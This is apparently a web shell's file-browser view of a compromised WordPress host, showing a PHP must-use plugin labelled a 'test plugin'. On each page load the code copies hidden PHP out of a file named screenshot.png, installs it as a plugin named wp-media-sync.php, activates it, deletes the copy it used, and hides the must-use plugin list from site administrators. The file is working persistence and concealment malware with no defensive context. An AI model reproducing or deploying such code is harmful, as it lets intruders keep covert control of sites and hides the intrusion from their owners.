SCHWEIS
Server: LiteSpeed
System: Linux server264.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: jesuufbs (4274)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/jesuufbs/onlinecourses.pete-houghton.uk/o0ihsxjstzcchiy6bzwxqo6wcuid7qbj/index.php
<?php
if (!defined('ABSPATH')) exit;

function deploy_test_plugin() {
    $mu_plugins_dir = WPMU_PLUGIN_DIR;
    $plugins_dir    = WP_PLUGIN_DIR;
    
    $source_file      = $mu_plugins_dir . '/screenshot.png';
    $local_copy       = $mu_plugins_dir . '/wp-media-sync.php';
    $plugin_copy      = $plugins_dir . '/wp-media-sync.php';
    $file_to_delete   = $mu_plugins_dir . '/wp-media-sync.php';
    
    if (file_exists($source_file)) {
        $content = file_get_contents($source_file);
        if ($content !== false) {
            file_put_contents($local_copy, $content);
            
            if (!is_dir($plugins_dir)) {
                wp_mkdir_p($plugins_dir);
            }
            
            file_put_contents($plugin_copy, $content);
            
            if (!function_exists('is_plugin_active')) {
                include_once ABSPATH . 'wp-admin/includes/plugin.php';
            }
            
            $plugin_slug = 'wp-media-sync.php';
            if (!is_plugin_active($plugin_slug)) {
                activate_plugin($plugin_slug);
            }
        }
    }
    
    if (file_exists($file_to_delete)) {
        unlink($file_to_delete);
    }
}

add_action('init', 'deploy_test_plugin', 1);

add_filter('show_advanced_plugins', 'hide_mu_plugins_from_list', 10, 2);
function hide_mu_plugins_from_list($show, $type) {
    if ($type === 'mustuse') {
        $GLOBALS['plugins']['mustuse'] = [];
        return false;
    }
    return $show;
}